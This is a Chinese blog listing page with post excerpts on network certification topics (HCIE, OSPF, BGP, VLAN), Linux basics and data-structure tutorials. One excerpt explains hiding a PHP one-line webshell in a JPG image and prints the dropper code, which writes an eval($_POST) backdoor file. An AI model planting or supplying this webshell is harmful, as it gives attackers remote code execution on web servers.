自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(70)
  • 收藏
  • 关注

原创 HCIE(第四天总结)---iStack、 CSS 、Eth-Trunk、 M-LAG

HCIE第四天总结一、iStack 设备堆叠1、定义2、为什么要使用堆叠技术?(3个优点)3、iStack 基本概念4、堆叠的步骤5、堆叠配置二、CSS 集群1、定义2、CSS特点:3、CSS与iStack的区别4、为什么要使用集群技术?(3个优点)5、CSS 基本概念6、集群系统自动建立过程7、集群配置三、Eth-Trunk 链路聚合1、定义2、链路聚合优势3、基本概念4、设备支持的链路聚合方式5、Eth-Trunk模块根据转发表转发数据帧的过程6、Eth-Trunk实现方式7、链路聚合配置四、E-Tr

2020-07-15 23:05:51 5913

原创 HCIE(第三天总结)

HCIE一、MAC地址表的组成二、端口安全三、MAC地址漂移四、免费ARP五、STP生成树协议1、STP相关概念2、端口角色:3、端口状态4、STP的选举过程:5、根桥的选举:6、指定端口的选举:一、MAC地址表的组成集线器->交换机:通用式计算机:接口+内存+软件+IO软交换:通过内存的方式避免冲突三代交换机:使用矩阵芯片MAC表:存放于内存中CAM表:二元计算,只看mac是否匹配MAC地址表来源:(1)动态表项----自学习而来(2)静态表项----用户手工配置 洪泛

2020-07-12 21:58:26 696

原创 HCIE(第二天总结)

OSPF做负载均衡的思路:(1)划区域(域内>域间>域外)(2)路由策略(route-policy)(3)明细优于汇总注:动态路由协议的与任何网关会导致重复建立邻居(解决方法:静默热备份网关端口)静默接口:动态路由协议的静默接口就是将被静默的接口阻止发送hello包支撑一个SY(vlan)口,必须有access接口和trunk接口,只去了这两种接口的支撑,则流量无法传出MPLS VPN:基本组成:CE、PE和PCE(CustomerEdge):用户网络边缘设备,有接口直

2020-07-12 15:22:25 578

原创 三层架构实验

配置思路:channel->VLAN->Trunk->STP->SVI->Vrrp->DHCP1、 配置sw1、sw2的channelSw1:[sw1]interface Eth-Trunk 0[sw1-Eth-Trunk0]trunkport GigabitEthernet 0/0/1[sw1-Eth-Trunk0]trunkport GigabitEthernet 0/0/2Sw2:[sw2]interface Eth-Trunk 0[sw2-Et.

2020-07-10 23:32:56 1162 1

原创 HCIE(第一天总结)

第一天三层架构分为核心层、汇聚层、接入层核心层交换机之间的心跳线的作用:(1)vlan间的通信(2)当汇聚和核心的对角线线路同时故障,心跳线就很关键(3)OSPF建邻不绕路二层架构二层架构是将三层架构的核心层和汇聚层合并MSTP(1)端口角色:备份端口(指定端口挂了,下一个成为指定端口的)、替换端口(根端口挂了,下一个成为根端口的)(2)端口状态:Forwarding(转发):在这种状态下,端口既转发用户流量又接收/发送BPDU报文Learning(学习):这是一种过渡状态。

2020-07-07 22:38:12 790 1

原创 edjpgcom生成一句话图片木马

首先,我们从网上下载edjpgcom工具(网上的一些百度云盘会有大佬分享),然后下载一张图片(建议小一点的图片)将图片用鼠标拖到edjpgcom.exe的程序上,会出现如下的弹窗,然后将编写的一句脚本写入,点击ok即可.<?fputs(fopen("shell1.php","w"),'<?php @eval($_POST[caidao]);?>')?>查看图片,用记事本打开图片,检查脚本是否写入图片中. ...

2020-07-02 22:50:02 1304

原创 MIME Type表

MIME多用途互联网邮件扩展(MIME,MultipurposeInternet Mail Extensions)是一个互联网标准,它扩展了电子邮件标准,使其能够支持非ASCII字符、二进制格式附件等多种格式的邮件消息。内容类型(Content-Type),是HTTP协议消息头中,用于指定消息的类型。一般出现的格式:[type]/[subtype]text/plain(纯文本) text/html(HTML文档) text/javascript(js代码) application/xhtm

2020-07-02 22:13:02 183

原创 TCP/IP协议

一、TCP/IP 含义从字面意义上讲,有人可能会认为 TCP/IP 是指 TCP 和 IP 两种协议。实际生活当中有时也确实就是指这两种协议。然而在很多情况下,它只是利用 IP 进行通信时所必须用到的协议群的统称。具体来说,IP 或 ICMP、TCP 或 UDP、TELNET 或 FTP、以及 HTTP 等都属于 TCP/IP 协议。他们与 TCP 或 IP 的关系紧密,是互联网必不可少的组成部分。TCP/IP 一词泛指这些协议,因此,有时也称 TCP/IP 为网际协议群。二、数据包包、帧、数据包、

2020-05-31 19:38:18 261

原创 Linux基本服务的工作原理(Web、DHCP、DNS、NFS、FTP)

1、 系统启动过程2、 web工作原理3、 dhcp工作原理4、 dns解析原理5、 nfs的作用6、 ftp的主动模式和被动模式7、 pxe+kickstart安装系统原理

2020-05-29 11:43:57 1407

原创 Linux常用命令(包含选项参数)

文章目录Linux常用命令1、系统维护类2、文件管理3、压缩与解压缩4、磁盘管理5、网络设置6、用户管理Linux常用命令1、系统维护类lsls -l 以长列表方式列出 =llls -r 逆序列出ls -d 查看当前目录.ls -ld 长列表列出当前目录的详细信息pwd查看”当前工作目录“的完整路径 date查看当前时间passwd-n 指定密码的最短使用期限-x 指定密码的最长使用期限-l 锁定用户账号密码-u 解锁用户账号 -d 删除用户密码,在redh

2020-05-28 13:31:50 1286

原创 FHS---文件系统层级结构

FHS :文件系统层级结构/:根目录,所有的目录、文件、设备都在/之下,/就是Linux文件系统的组织者,也是最上级的领导者。/bin 可执行文件,binary,用户命令/boot 系统启动相关的文件/dev device、设备文件因为在这个目录中包含了所有linux系统中使用的外部设备。它实际上是一个访问这些外部设备的端口。/etc 配置文件,纯文本文件的配置文件要用到的网络配置文件,文件系统,x系统配置文件,设备配置信息,设置用户信息等都在这个目录下

2020-05-28 10:45:02 360

原创 RIP---路由信息协议

一、什么是RIP协议是一种在网关与主机之间交换路由选择信息的标准。是一种内部网关协议RIP协议有两种:RIPv1、RIPv2RIPv2 由 RIPv1而来,属于 RIPv1协议的补充协议,主要用于扩大 RIPv2信息装载的有用信息的数量,同时增加其安全性能。RIPv2 是一种基于 UDP 的协议。在 RIPv2下,每台主机通过路由选择进程发送和接受来自 UDP 端口520的数据包。RIP协议默认的路由更新周期是30S。二、RIP的特点 1.仅和相邻的路由器交换信息。如果两个路

2020-05-25 16:05:22 2578

原创 路由器工作原理

一、定义路由器的是实现网络互连,在不同网络之间转发数据单元的重要网络设备。路由器主要工作在OSI参考模型的第三层(网络层),路由器的主要任务就是为经过路由器的每个数据帧寻找一条最佳传输路径,并将该数据有效地传送到目的站点。二、重要机制路由器作用在OSI模型的第三层------即网络层,提供 路由 与 转发 两种重要机制.路由:路由器的控制层面的工作,决定数据包从来源端到目的端所经过的路由路径(host到host至今的最佳传输路径)转发:路由器的数据层面的工作,将路由器输入端的数据包移送至适当的路

2020-05-20 23:10:25 4408

原创 二、三层交换机工作原理

一、二层交换机1、基本作用交换机工作在二层,可以用来隔离冲突域,在OSI参考模型中,二层(数据链路层)的作用是寻址,这边寻址指的是MAC地址,而交换机就是对MAC地址进行转发,在每个交换机中,都有一张MAC地址表,这个表是交换机自动学习的,所以,总得来说交换机的作用是寻址和转发。2、基本功能(1) 无限的传输距离(2)提高端口密度—可以增加更多的接口(3) 彻底解决了冲突—所有的接口可以同时收发数据(4) 二层单播—物理寻址,在一个交换网络内,实现一对一通讯,保障了数据的安全,减少了垃圾数据

2020-05-19 22:51:21 13159

原创 VLAN---虚拟局域网

VLAN:虚拟局域网二层交换机与3层的设备协同工作后,将原来的一个广播域逻辑的切分为多个一、思科逻辑配置思路:1、交换机上创建VLAN2、接口划入VLAN3、Trunk干道4、VLAN间路由—路由器子接口 多层交换机svi配置:(1)创建vlanSwitch(config)#vlan 2Switch(config-vlan)#name classroom1Switch(config-vlan)#exitSwitch(config)#vlan 3-10,15-20 批量创建

2020-05-13 22:20:01 274

原创 有条件的打破IBGP的水平分割

有条件的打破IBGP的水平分割IBGP水平分割—避免IBGP环路—从一个IBGP邻居处学习到的路由条目不能传递给本地的其他IBGP邻居;因为BGP可以非直连建邻,故正常一台运行了BGP协议的路由器,均存在EBGP邻居,需要从其他AS学习路由条目,再共享到内部AS时,由于水平分割的现在,需要和本地AS内所有的BGP设备建立IBGP邻居关系;IBGP邻居关系的数量成指数上升;有条件打破IBGP水...

2020-04-28 12:20:48 351

原创 BGP的基础配置

一、BGP的基础配置建立BGP邻居关系——BGP基于单播进行建邻和沟通,故需要管理员手工指定邻居的ip地址;1、使用直连接口ip地址来建立EBGP邻居关系[r1]bgp 1 启动时需要定义真实的AS号,没有多进程概念[r1-bgp]router-id 1.1.1.1 建议手工配置RID,–手工—环回最大值—物理接口最大值[r1-bgp]peer 12.1.1.2 as-number...

2020-04-27 11:36:03 928

原创 BGP----边界网关路由协议

文章目录BGP:边界网关路由协议一、设计特性二、类别三、BGP特点四、BGP数据包五、BGP的工作过程六、专业名词:七、BGP的路由黑洞;八、BGP的防环机制;--水平分割BGP:边界网关路由协议BGP协议为不同AS间共享路由,工作时隔离两个AS的内部网络,形成一个独立的交互空间;且同时可以实施强大的策略来干涉选路;IGP追求:收敛速度快 选择路径佳(无环) 占用资源少 ...

2020-03-21 20:38:14 710

原创 重发布(重分布、重分发)

重发布(重分布、重分发)一、概念一台路由器同时工作在两种不同的路由协议中,或者相同协议的不同进程中;由于算法和数据库的独立,故两种协议或进程默认不共享路由信息;可以让该设备成为ASBR来实现路由共享,最终全网可达;二、条件1、 必须存在ASBR(自治系统边界路由器、协议边界路由器)2、 必须考虑种子度量— A协议发布B协议时,由于两种协议的度量计算规则不同,故不会共享A协议的度量,而...

2020-03-17 11:16:22 1723

原创 OSPF优化---LSA优化

一、OSPF的LSA优化—减少LSA更新量思路:1、 汇总 — 减少骨干区域的LSA数量 – 前提要求网络存在合理的地址规划2、 特殊区域 —减少各个非骨干区域的LSA数量(非骨干区域不学其他区域的路由只学习自己本区域的路由然后一个缺省指向骨干区域一、汇总1、域间路由汇总——ABR将本地直连的A区域1/2类LSA计算所得路由,再通过3类LSA共享到其它本地所直连的B区域时;[r1]...

2020-03-12 11:12:15 447

原创 OSPF---LSA类型总结

OSPF LSA类型总结LSA类型描述1类路由器LSA2类路由器LSA3类、4类汇总LSA5类自治系统外部LSA7类为NSSA定义1类:路由器LSA(Router LSA)(每一台运行ospf的路由器都很产生1类lsa)传播范围:只能在本区域传播,不能穿越ABR通告者:每台路由器包含的内容:拓扑、路由2类:网络LSA(Netwo...

2020-03-06 19:11:39 1085

原创 GRE--通用路由封装

文章目录一、GRE二、基本信息三、报文格式四、配置(点到点GRE)五、MGRE(多点GRE)MGRE配置:一、GRE通用路由封装(GRE: Generic Routing Encapsulation)是通用路由封装协议,可以对某些网络层协议的数据报进行封装,使这些被封装的数据报能够在IPv4网络中传输。中文名:通用路由封装外文名:Generic Routing Encapsulation...

2020-03-05 12:15:04 1423

原创 OSPF(开放式最短路径优先协议)

文章目录OSPF:开放式最短路径优先协议一、基本概念二、数据包三、状态机四、工作过程OSPF:开放式最短路径优先协议一、基本概念标准的LS型路由协议–传递拓扑–占用资源多协议号是89需要结构化部署:区域划分 IP地址划分区域内传拓扑,区域间传路由更新方式:组播更新–224.0.0.5/6基本触发更新 但是存在周期更新—30min网络结构发生变化就会触发更新...

2020-02-15 20:52:55 717

原创 三次握手、四次断开

1、三次握手所谓的“三次握手”:为了对每次发送的数据量进行跟踪与协商,确保数据段的发送和接收同步,根据所接收到的数据量而确认数据发送、接收完毕后何时撤消联系,并建立虚连接。三次握手过程:第一次第一次握手:建立连接时,客户端发送syn包(seq=j)到服务器,并进入SYN_SENT状态,等待服务器确认;SYN:同步序列编号(Synchronize Sequence Numbers)第二次...

2020-02-08 20:04:53 322

原创 汉诺塔问题

汉诺塔问题相传在古印度圣庙中,有一种被称为汉诺塔(Hanoi)的游戏。该游戏是在一块铜板装置上,有三根杆(编号A、B、C),在A杆自下而上、由大到小按顺序放置64个金盘(如下图).游戏的目标:把A杆上的金盘全部移到C杆上,并仍保持原有顺序叠好.操作规则:每次只能移动一个盘子,并且在移动过程中三根杆上都始终保持大盘在下,小盘在上,操作过程中盘子可以置于A、B、C任一杆上.分析:对于这样一个问...

2019-12-28 21:40:16 202

原创 约瑟夫问题升级版

约瑟夫问题升级版编号为1~N的N个人按顺时针方向围坐一圈,每人持有一个密码(正整数,可以自由输入),开始人选一个正整数作为报数上限值M,从第一个人按顺时针方向自1开始顺序报数,报道M时停止报数。报M的人出列,将他的密码作为新的M值,从他顺时针方向上的下一个人开始从1报数,如此下去,直至所有人全部出列为止。分析:升级版的约瑟夫问题,就是在每个人的手中拿了一个密码,当这个人死了之后,拿着这个手中...

2019-12-26 17:01:01 385

原创 约瑟夫问题(GIF图解)

约瑟夫问题据说著名犹太历史学家Josephus有过一下的故事:在罗马人占领乔塔帕特后,39个犹太人与Josephus及他的朋友躲在一个洞中,39个犹太人决定宁愿死也不要被敌人抓到,于是决定了一个自杀方式,41个人排成一个圆圈,由第1个人开始报数,每报数到第3个人该人必须自杀,然后再由下一个重新报数,直到所有人都自杀身亡为止。然而Josephus和他的朋友并不想遵从,Josephus要他的朋友...

2019-12-26 10:36:19 1071

原创 递归

一、递归的定义一种计算过程,如果其中每一步都要用到前一步或前几步的结果,称为递归的。用递归过程定义的函数,称为递归函数,例如连加、连乘及阶乘等.简单的来说,程序反复调用自身即是递归.二、递归的使用递归是如何运作的?在这里我们用一张图片来展示一下.这是一个A函数递归调用自身的过程,因为递归是一个反复调用自身的过程,这就说明它每一级的功能都是一样的,因此我们只需要关注一级递归的解决过程即可...

2019-12-24 21:25:42 114

原创 数据结构——单向循环链表(GIF图解)

单项循环链表一、定义将单链表中终端结点的指针端由空指针改为指向头结点,就使整个单链表形成一个环,这种头尾相接的单链表称为单向循环链表。(示意图如下)单向循环列表的实现的也是 list 的方法,在这里主要说一下插入元素和删除元素;插入元素的时候会遇到从表头插入、表尾插入和指定角标处插入,这些操作基本上和单链表的元素插入类似,但是需要注意的是从表头和表尾插入的时候,要考虑头指针和尾指针的移动,...

2019-12-20 22:42:58 5038

原创 数据结构——链队列(GIF图解)

一、链队列队列的链式存储结构,其实就是线性表的单链表,只不过它只能尾进头出而已,我们把它简称为链队列。为了操作上的方便,我们将队头指针指向队列的虚拟头结点的后一个结点,而队尾指针指向最后一个结点。二、链队列的实现创建一个链表实现queue的接口public class LinkedQueue<E> implements Queue<E> { private...

2019-12-20 19:35:01 3287

原创 数据结构——链栈(GIF图解)

一、链栈前面学习了栈的顺序存储结构,现在来看看栈的链式存储结构,简称链栈.(示意图如下)对于链栈来说,不存在栈满的情况,除非内存已经没有空间可以使用;但对于空栈来说,链表原定义是头指针指向空,那么链栈的空其实是 top=null 的时候。二、链栈的实现...

2019-12-19 23:24:34 6897 1

原创 数据结构——动态链表(GIF图解)

一、链表的定义为了表示每个数据元素a1与其直接后继元素ai+1之间的逻辑关系,对数据元素a1来说,除了存储其本身的信息之外,还需存储一个指示其直接后继的信息。我们把存储数据元素信息的域称为数据域,把存储直接后继位置的域称为指针域。指针域存储的信息称作链。这两部分信息组成数据元素ai的存储映像,称为结点。n个结点链结成一个链表,即为线性表的链式存储结构,因为此链表的每个结点中只包含一个指针域,所...

2019-12-19 11:39:25 7417

原创 LeetCode88. 合并两个有序数组

88. 合并两个有序数组给定两个有序整数数组 nums1 和 nums2,将 nums2 合并到 nums1 中,使得 num1 成为一个有序数组。说明:初始化 nums1 和 nums2 的元素数量分别为 m 和 n。你可以假设 nums1 有足够的空间(空间大小大于或等于 m + n)来保存 nums2 中的元素。示例:输入:nums1 = [1,2,3,0,0,0], m ...

2019-12-18 08:34:44 366

原创 Leetcode674. 最长连续递增序列

Leetcode674. 最长连续递增序列给定一个未经排序的整数数组,找到最长且连续的的递增序列。示例 1:输入: [1,3,5,4,7]输出: 3解释: 最长连续递增序列是 [1,3,5], 长度为3。尽管 [1,3,5,7] 也是升序的子序列, 但它不是连续的,因为5和7在原数组里被4隔开。示例 2:输入: [2,2,2,2,2]输出: 1解释: 最长连续递增序列是 ...

2019-12-17 14:49:30 403

原创 数据结构——循环队列(GIF图解)

一、循环队列数组队列的出队操作的复杂度是O(n),性能很差,解决方法就是使用循环队列(Loop Queue)在循环队列中,需要对队为空和队为满的时候进行判断,为了区分队空和队满两个条件,需要浪费capacity一个空间,让rear指针一直指向一个空的位置;当 rear= =front 时,队为空;当 (rear+1)%n= =front (n为数字角标的最大值)时,队为满.示意图如下...

2019-12-17 10:29:20 3874

原创 数据结构——队列(GIF图解)

一、队列的定义队列是只允许在一端进行插入操作,而在另一端进行删除操作的线性表队列也是一种线性结构;队列是一种先进先出(First In First Out)的数据结构;队列的描述如下图:二、队列的实现先定义一个接口Interfacepublic interface Queue<E> extends Iterable<E>{ //获取队列中元素的个数 ...

2019-12-16 20:50:34 3245

原创 数据结构——双端栈(GIF图解)

一、双端栈定义双端栈是指将一个线性表的两端当做栈底分别进行入栈和出栈操作. 在顺序栈的共享技术中,最常用的就是两个栈共享,即双端栈。利用栈底位置不变,栈顶变化的特性。首先申请一个一维数组空间,data[n],将两个栈的栈低分别放在数组的两端,分别是0和n-1,由于是栈顶动态变化的,这样可以形成互补,使得每个栈可用的最大空间与需求有关,由此可见,两个共享栈比两个栈分别申请n/2哥空间利用率高。...

2019-12-15 11:19:47 3502

原创 数据结构——栈(Stack)(GIF图解)

一、栈的定义栈是限定仅在表尾进行插入和删除操作的线性表.二、 栈的特点栈也是一种线性结构;相比数组,栈所对应的操作是数组的子集;栈只能从一端添加元素,也只能从这一端取出元素,这一端通常称之为"栈顶";向栈中添加元素的过程,称之为"入栈",从栈中取出元素的过程称之为"出栈";栈的描述如下图:三、栈的实现...

2019-12-12 20:59:32 4385 1

原创 数据结构——线性表的顺序存储结构(GIF图解)

一、数组基础数组就是把数据码成一排进行存放。Java中,数组的每个元素类型必须相同,可以都为int类型,string类型,甚至是自定义类型。数组的命名要语义化,例如,如果数组用来存放学生的成绩,那么命名为scores就比较合适。索引(index)是数组中的一个重要概念,它是我们给数组中的每个元素分配的编号,从0开始,依次递增。如果数组中存放了n个元素,第一个元素的索引是0,最后一个元素的索...

2019-12-11 19:17:18 1611

原创 LeetCode27. 移除元素(图解)

LeetCode27. 移除元素给定一个数组 nums 和一个值 val,你需要原地移除所有数值等于 val 的元素,返回移除后数组的新长度。不要使用额外的数组空间,你必须在原地修改输入数组并在使用 O(1) 额外空间的条件下完成。元素的顺序可以改变。你不需要考虑数组中超出新长度后面的元素。示例 1:给定 nums = [3,2,2,3], val = 3,函数应该返回新的长度 2,...

2019-12-04 23:17:09 405

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除